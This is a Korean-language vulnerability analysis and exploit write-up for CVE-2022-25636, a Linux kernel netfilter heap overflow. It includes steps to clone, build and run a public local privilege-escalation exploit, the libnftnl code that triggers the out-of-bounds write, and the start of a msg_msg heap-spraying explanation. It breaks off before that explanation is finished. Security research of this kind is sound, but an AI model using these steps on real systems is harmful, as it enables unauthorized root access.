
CVE-2022-25636에 대한 상세 기술 분석 및 익스플로잇 라이트업: 힙 스프레이(heap spraying)와 UAF(use-after-free)를 통해 로컬 권한 상승을 가능하게 하는 Linux 커널 netfilter 힙 오버플로 취약점.
[toc]
취약점 번호: CVE-2022-25636
영향 제품: linux kernel - netfilter
영향 버전: linux kernel 5.4 ~
취약점 위험성: netfilter 커널 모듈에 힙 경계를 벗어난 쓰기가 존재하며, SYS_ADMIN 권한이 있을 때 권한 상승을 유발할 수 있음
취약점은 netfilter 커널 모듈에 존재하며, 취약한 코드는 3개의 ko 파일에 있다.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
qemu로 직접 부팅하면 문제가 있어 ko가 로드되지 않으므로, vmware에서 두 시스템을 연동하여 디버깅한다.
ubuntu 21.10에서는 커널을 수동으로 교체할 수 있다:
apt-get install linux-image-5.13.0-30-generic
그런 다음 기존 커널을 삭제하고 exp를 컴파일한다:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
권한 상승 효과(성공률 50% 미만):

취약점이 존재하는 함수는 nft_fwd_dup_netdev_offload이다:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
flow->rule->action.entries(이 구조체는 가변 길이 구조체이며 배열 크기 정보가 없음)를 설정할 때 힙 경계 검사를 수행하지 않아, 정수(4 또는 5) 하나와 포인터 하나를 경계 밖에 쓰게 된다.
해당 함수는 nft_flow_rule_create 함수에서 사용된다:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
nft_flow_rule_create 함수는 사용자 공간에서 전달된 rule 구조체의 개수에 따라 flow 구조체를 할당하고 처리한다는 것을 알 수 있다. num_actions 변수로 개수를 세지만, 카운트 과정에서는 NFT_OFFLOAD_F_ACTION 플래그가 있는 rule만 계산하며, 그 개수에 따라 해당 크기의 구조체를 할당한다. 이후 offload를 호출하여 처리할 때는 num_actions로 루프를 돌지 않고, 이전과 동일하게 rule 개수만큼 루프를 수행한다. 다만 이때는 더 이상 NFT_OFFLOAD_F_ACTION 플래그를 확인하지 않는다. 즉, 전달된 rule 중 NFT_OFFLOAD_F_ACTION 플래그가 없는 rule이 있다면 이후 offload가 호출되는 횟수가 앞서 할당한 flow->rule->action.entries의 개수보다 많아진다. offload 내부에서 취약 함수 nft_fwd_dup_netdev_offload가 호출될 때마다 ctx->num_actions가 1씩 증가하며, ctx->num_actions는 0으로 초기화되므로 결국 ctx->num_actions가 flow->rule->action.entries 배열 범위를 초과하여 경계를 벗어난 쓰기가 발생한다.
일부 구조체:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
호출 스택:
참고 링크: https://www.openwall.com/lists/oss-security/2022/02/21/2
해당 메일은 C 언어의 libmnl 및 libnftnl 라이브러리로 netfilter를 사용하는 방법을 설명한다. 취약점을 트리거하는 핵심 포인트는 추가하는 rule에 NFT_OFFLOAD_F_ACTION 플래그가 있는지 여부다. nftnl_expr_alloc("immediate"); 로 추가한 rule에만 NFT_OFFLOAD_F_ACTION 플래그가 있다:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
익스플로잇은 그리 안정적이지 않지만, 사용된 기술은 매우 정교하다. 이 취약점은 경계를 벗어난 고정 오프셋 위치에 제어할 수 없는 포인터를 쓰는 것이며, 개인적으로 익스플로잇 난이도가 매우 높다고 생각한다. 기술적 수법을 간단히 분석해 보겠다. 취약 코드를 보면 매번 경계를 벗어난 쓰기에서 정수 하나(id, 4 또는 5로 고정)와 포인터 하나(*dev)만 쓸 수 있으며, 이 포인터는 struct net_device 구조체를 가리킨다. 여기서는 dev 포인터 쓰기에만 집중한다:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
struct flow_rule 구조체는 가변 길이 구조체이므로, 할당받을 수 있는 크기 범위가 익스플로잇 성공 여부를 결정한다.
관련 구조체:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//大小0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
익스플로잇을 진행하려면 먼저 *dev 주소를 두 번 유출해야 한다. 서로 다른 두 dev 주소를 유출해야 하므로, 하나는 현재 프로세스에서, 다른 하나는 자식 프로세스에서 유출한다. msg_msg를 사용하여 유출한다(msg_msg 기술 정리). 크기가 0x1040인 msg를 힙 스프레이하면, msg 구조상 두 부분으로 나뉘며 두 번째 부분은 길이가 0x70이고 헤더 포인터를 더하면 kmalloc-128로 할당된다. 그런 다음 msg 하나를 해제하여 kmalloc-128 하나를 해제한다. 이어서 rule이 하나뿐인 flow_rule 구조체를 사용하는데, 이것도 정확히 kmalloc-128이므로 방금 해제된 msg의 두 번째 부분인 kmalloc-128에 할당되어 다음과 같은 힙 레이아웃을 구성하길 기대한다: